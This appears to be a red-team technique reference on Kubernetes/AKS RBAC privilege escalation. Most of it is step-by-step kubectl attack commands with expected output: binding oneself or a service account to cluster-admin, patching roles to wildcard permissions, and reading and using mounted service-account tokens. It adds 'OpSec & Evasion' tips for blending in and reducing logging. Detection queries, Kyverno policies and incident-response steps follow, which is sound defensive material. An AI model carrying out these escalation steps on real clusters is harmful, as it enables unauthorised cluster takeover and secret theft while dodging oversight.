| Attribute | Details |
|---|---|
| Technique ID | PE-ELEVATE-006 |
| MITRE ATT&CK v18.1 | T1548 - Abuse Elevation Control Mechanism |
| Tactic | Privilege Escalation |
| Platforms | Entra ID (AKS) |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | Kubernetes 1.0+ (all versions vulnerable if RBAC misconfigured) |
| Patched In | N/A (Design issue; requires proper RBAC configuration) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Kubernetes RBAC implements three critical verbs (bind, escalate, impersonate) that are specifically designed to prevent privilege escalation. However, these verbs can be misallocated to low-privilege users or service accounts, creating a privilege escalation bypass. An attacker with the bind verb can create RoleBindings to roles they don’t possess, effectively bypassing RBAC safeguards. The escalate verb allows modification of roles to which a user is already bound. The impersonate verb grants authentication spoofing. When combined, these verbs enable complete cluster compromise.
Attack Surface: Kubernetes API server, RBAC definitions (ClusterRoles, Roles), RoleBindings, ClusterRoleBindings, service account tokens, wildcard permissions (* on *).
Business Impact: Complete AKS cluster compromise enabling:
Technical Context: Exploitation typically takes 2-5 minutes once attacker has cluster access (via kubeconfig, kubectl proxy, or dashboard). Detection likelihood is Medium (RBAC changes are logged, but may not trigger real-time alerts if not configured). Reversibility: No – requires full cluster audit and role reconstruction.
| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | CIS Kubernetes 5.1 | Ensure RBAC policy is set to deny by default | | DISA STIG | AC-3 - Access Control | Restrict access via role-based access control | | NIST 800-53 | AC-3 | Enforce access control decisions based on roles | | ISO 27001 | A.9.2.2 | Implement role-based access management | | SOC 2 | CC6.1 | Logical access control is restricted to authorized personnel | | PCI DSS | 7.1 | Implement access control through role-based mechanisms |
Command (kubectl):
# Get current user context
kubectl auth whoami
# List all available verbs for current user
kubectl auth can-i --list
# Check specific permissions
kubectl auth can-i get pods
kubectl auth can-i list roles
kubectl auth can-i create rolebindings
Expected Output:
CURRENT CONTEXT CLUSTER USER NAMESPACE
docker-desktop docker-desktop docker-for-desktop default
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization [] [] [create]
selfsubjectrulesreviews.authorization [] [] [create]
pods [] [] [get list watch create delete]
...
What to Look For:
bind or escalate verbs → Direct escalation path possiblecreate on rolebindings → Can create new elevated rolesimpersonate on users, groups, or serviceaccounts → Can assume other identitiesCommand (kubectl):
#!/bin/bash
# Find all ClusterRoles with bind, escalate, or impersonate verbs
kubectl get clusterroles -o json | jq '.items[] |
select(.rules[]? |
(.verbs[]? | select(. == "bind" or . == "escalate" or . == "impersonate")) and
(.apiGroups[]? | select(. == "rbac.authorization.k8s.io" or . == ""))
) |
{name: .metadata.name, rules: .rules}'
Expected Output (Vulnerable Configuration):
{
"name": "edit",
"rules": [
{
"apiGroups": ["rbac.authorization.k8s.io"],
"resources": ["roles", "rolebindings"],
"verbs": ["bind", "escalate"]
}
]
}
What This Means:
edit ClusterRole grants bind and escalate on roles/rolebindingsSupported Versions: Kubernetes 1.0+ (all versions)
Objective: Find a ClusterRole with admin-level permissions that you don’t currently have
Command (kubectl):
# List all ClusterRoles sorted by privilege level
kubectl get clusterroles -o wide
# Get detailed view of high-privilege roles
kubectl describe clusterrole cluster-admin
kubectl describe clusterrole admin
kubectl describe clusterrole edit
# Find roles with wildcard permissions (highest privilege)
kubectl get clusterroles -o json | jq '.items[] |
select(.rules[]? |
(.verbs[]? | select(. == "*")) or
(.resources[]? | select(. == "*"))
) |
.metadata.name'
Expected Output:
cluster-admin
admin
edit
view
system:auth-delegator
system:kubelet-api-admin
What to Look For:
cluster-admin – Unrestricted access (highest privilege)admin – Namespace-level admin accessedit – Can create/modify deployments and pods* verbs or resourcesget secrets, create pods)OpSec & Evasion:
References & Proofs:
Objective: Bind yourself (or a service account under your control) to the high-privilege ClusterRole
Command (kubectl):
# Method 1: Create ClusterRoleBinding as current user to themselves
kubectl create clusterrolebinding escalate-me --clusterrole=cluster-admin --user=$(kubectl auth whoami)
# Method 2: Create RoleBinding in specific namespace
kubectl create rolebinding admin-binding \
--clusterrole=admin \
--serviceaccount=default:my-service-account \
--namespace=default
# Method 3: Using kubectl apply (if you prefer YAML)
cat << 'EOF' | kubectl apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: escalate-current-user
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: User
name: $(kubectl auth whoami)
apiGroup: rbac.authorization.k8s.io
EOF
Expected Output:
clusterrolebinding.rbac.authorization.k8s.io/escalate-me created
What This Means:
cluster-admin rolecluster-admin are now available to youOpSec & Evasion:
system-recovery, audit-role, maintenance-accesskube-system namespace to blend in with system componentsTroubleshooting:
bind verb isn’t granted; try METHOD 2 insteadReferences & Proofs:
Objective: Confirm that new permissions are now active
Command (kubectl):
# Re-check available permissions
kubectl auth can-i --list
# Test specific admin operations
kubectl auth can-i get pods --all-namespaces
kubectl auth can-i create pods
kubectl auth can-i delete nodes
kubectl auth can-i get secrets --all-namespaces
# Try to list all secrets (admin-only operation)
kubectl get secrets --all-namespaces
Expected Output (Escalated):
Resources Non-Resource URLs Resource Names Verbs
*.* [] [] [*]
✓ You can get pods
✓ You can create pods
✓ You can delete nodes
✓ You can get secrets
NAMESPACE NAME TYPE DATA AGE
default my-secret Opaque 2 3d
kube-system coredns-token ServiceAccountToken 3 30d
...
What This Means:
[*] under verbs = Unrestricted accessOpSec & Evasion:
Supported Versions: Kubernetes 1.0+ (all versions)
Objective: Determine which role you’re currently bound to and what capabilities it has
Command (kubectl):
# Find your current role
kubectl get rolebindings,clusterrolebindings --all-namespaces -o json | \
jq '.items[] | select(.subjects[]? | select(.name == "'"$(kubectl auth whoami)"'")) | .roleRef.name'
# Get details of the role
ROLE_NAME="edit" # Replace with your actual role
kubectl describe clusterrole $ROLE_NAME
Expected Output:
Name: edit
PolicyRule:
Verbs Resources Non-Resource URLs
---- --------- -----------------
create roles []
update roles []
get roles []
list roles []
delete roles []
create rolebindings []
update rolebindings []
get rolebindings []
list rolebindings []
What to Look For:
update or patch verbs on roles and rolebindingsObjective: Edit an existing role to add admin-level permissions
Command (kubectl):
# Edit the role you're bound to (e.g., "edit")
kubectl edit clusterrole edit
# In the editor, add these lines to the rules section:
# ---
# - apiGroups:
# - ""
# resources:
# - secrets
# verbs:
# - "*"
# - apiGroups:
# - ""
# resources:
# - configmaps
# verbs:
# - "*"
# - apiGroups:
# - "rbac.authorization.k8s.io"
# resources:
# - "*"
# verbs:
# - "*"
# Save the editor (vim/nano depending on setup)
# The modified role now includes secret access and full RBAC control
Alternative: Programmatic Escalation (kubectl patch):
# Patch existing role to add wildcard permissions
kubectl patch clusterrole edit --type='json' -p='[
{
"op": "add",
"path": "/rules/-",
"value": {
"apiGroups": ["*"],
"resources": ["*"],
"verbs": ["*"]
}
}
]'
Expected Output:
clusterrole.rbac.authorization.k8s.io/edit patched
What This Means:
edit role now includes wildcard permissions for all resources/verbsOpSec & Evasion:
patch instead of edit to minimize loggingSupported Versions: AKS with managed identity enabled (Kubernetes 1.18+)
Objective: Extract the service account token from within a pod
Command (bash inside pod):
# Service account token is automatically mounted at:
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# This token is valid for pod operations within the cluster
SA_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# Test token permissions
curl -k -H "Authorization: Bearer $SA_TOKEN" \
https://kubernetes.default/api/v1/namespaces/default/pods
Expected Output:
eyJhbGciOiJSUzI1NiIsImtpZCI6IkJHNEp3bzZaQS1mcmE5Z2ROK0R...
What This Means:
Objective: Create RoleBinding to escalate service account to admin
Command (kubectl):
# Create RoleBinding to bind service account to cluster-admin
kubectl create clusterrolebinding escalate-sa \
--clusterrole=cluster-admin \
--serviceaccount=default:default
# Now the "default" service account (and any pod using it) has admin access
What This Means:
default service account now have cluster-admin permissionsRule Configuration:
SPL Query:
index=k8s_audit verb=create objectRef.kind=ClusterRoleBinding objectRef.name=*escalate* OR objectRef.name=*admin*
| stats count as bindings_created, values(user.username) as users by objectRef.name
| where bindings_created >= 1
KQL Query:
// Monitor for RoleBinding creation to cluster-admin
AzureDiagnostics
| where ResourceType == "KUBERNETES" and Category == "kube-audit"
| where properties.verb == "create" and properties.objectRef.kind == "ClusterRoleBinding"
| where properties.objectRef.name has_any ("admin", "escalate", "cluster-admin")
| extend
User = properties.user.username,
RoleBinding = properties.objectRef.name,
RoleRef = properties.requestObject.roleRef.name
| project TimeGenerated, User, RoleBinding, RoleRef, properties
| where RoleRef == "cluster-admin"
Alert Name: “Suspicious Kubernetes RBAC Configuration Change”
Restrict “bind” and “escalate” Verbs: Remove these verbs from all non-admin roles. Applies To Versions: Kubernetes 1.0+ (all versions)
Manual Steps (kubectl):
# Identify roles with dangerous verbs
kubectl get clusterroles -o json | jq '.items[] |
select(.rules[]? | .verbs[]? | select(. == "bind" or . == "escalate" or . == "impersonate")) |
.metadata.name'
# Remove the dangerous verbs
kubectl edit clusterrole <ROLE_NAME>
# Manually remove "bind", "escalate", "impersonate" from the verbs list
Alternative: Kubernetes Policy Engine (Kubewarden / Kyverno):
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: restrict-dangerous-rbac-verbs
spec:
validationFailureAction: audit
rules:
- name: block-bind-escalate
match:
resources:
kinds:
- ClusterRole
- Role
validate:
message: "bind and escalate verbs are not allowed"
pattern:
spec:
rules:
- verbs:
- "!bind"
- "!escalate"
- "!impersonate"
Implement Network Policy: Restrict network access to Kubernetes API server. Applies To Versions: Kubernetes 1.6+ (requires CNI plugin)
Manual Steps:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: restrict-api-access
spec:
podSelector: {} # Apply to all pods
policyTypes:
- Ingress
ingress:
- from:
- podSelector:
matchLabels:
allowed-api-access: "true"
ports:
- protocol: TCP
port: 6443 # Kubernetes API server port
Enable Kubernetes Audit Logging: Log all RBAC modifications for detection and forensics. Applies To Versions: Kubernetes 1.0+ (all versions)
Manual Steps (AKS):
Implement RBAC Policy Validation: Use admission controllers to prevent privilege escalation.
Kyverno Policy:
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: prevent-rbac-escalation
spec:
validationFailureAction: enforce
rules:
- name: block-escalation-rolebindings
match:
resources:
kinds:
- RoleBinding
- ClusterRoleBinding
validate:
message: "Cannot create bindings to cluster-admin or admin roles"
pattern:
roleRef:
name: "!cluster-admin&!admin"
Use Pod Security Standards: Prevent pods from running with elevated privileges.
Manual Steps (AKS):
# Enable Pod Security Standards (Azure Preview)
az aks update --resource-group myResourceGroup --name myAKSCluster \
--enable-pod-security-policy
# Apply restricted PSP
kubectl apply -f - << 'EOF'
apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
name: restricted
spec:
privileged: false
allowPrivilegeEscalation: false
requiredDropCapabilities:
- ALL
volumes:
- 'configMap'
- 'emptyDir'
- 'projected'
- 'secret'
- 'downwardAPI'
- 'persistentVolumeClaim'
seLinux:
rule: 'MustRunAsNonRoot'
runAsUser:
rule: 'MustRunAsNonRoot'
supplementalGroups:
rule: 'RunAsAny'
fsGroup:
rule: 'RunAsAny'
readOnlyRootFilesystem: false
EOF
# Check for roles with bind/escalate/impersonate
kubectl get clusterroles -o json | jq '.items[] |
select(.rules[]? |
(.verbs[]? | select(. == "bind" or . == "escalate" or . == "impersonate"))
) |
.metadata.name' | wc -l
# Should return 0 if mitigations are in place
cluster-admin rolecreate rolebinding, patch clusterrole, edit rolecreate verb on ClusterRoleBinding with roleRef “cluster-admin”# Immediately remove escalated RoleBinding
kubectl delete clusterrolebinding escalate-me
# Disable compromised service account
kubectl patch serviceaccount default -p '{"automountServiceAccountToken": false}' -n default
# Kill all pods using compromised service account
kubectl delete pods -l serviceaccount=default --all-namespaces --force --grace-period=0
# Export Kubernetes audit logs
kubectl logs -n kube-system -l component=kube-apiserver > /tmp/audit.log
# Export RBAC configuration
kubectl get clusterroles,clusterrolebindings,roles,rolebindings --all-namespaces -o yaml > /tmp/rbac.yaml
# Restore RBAC to known-good state
kubectl delete clusterrolebinding escalate-me
kubectl delete clusterrolebinding admin-binding
# Rotate service account tokens
kubectl rollout restart deployment --all-namespaces
# Review and update RBAC policies
kubectl audit policy-check
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-004] Kubelet API Unauthorized Access | Attacker gains initial cluster access |
| 2 | Privilege Escalation | [PE-ELEVATE-006] | Kubernetes RBAC Abuse - Escalates via RoleBinding |
| 3 | Persistence | Create Backdoored DaemonSet | Attacker deploys persistent backdoor to all nodes |
| 4 | Lateral Movement | Extract Credentials from Pod | Attacker accesses mounted credentials (cloud provider tokens) |
| 5 | Impact | Lateral Movement to Azure Infrastructure | Attacker uses managed identity token to compromise Azure resources |
edit role with bind verb to entire development teamescalate verb; attacker exploited to modify role permissions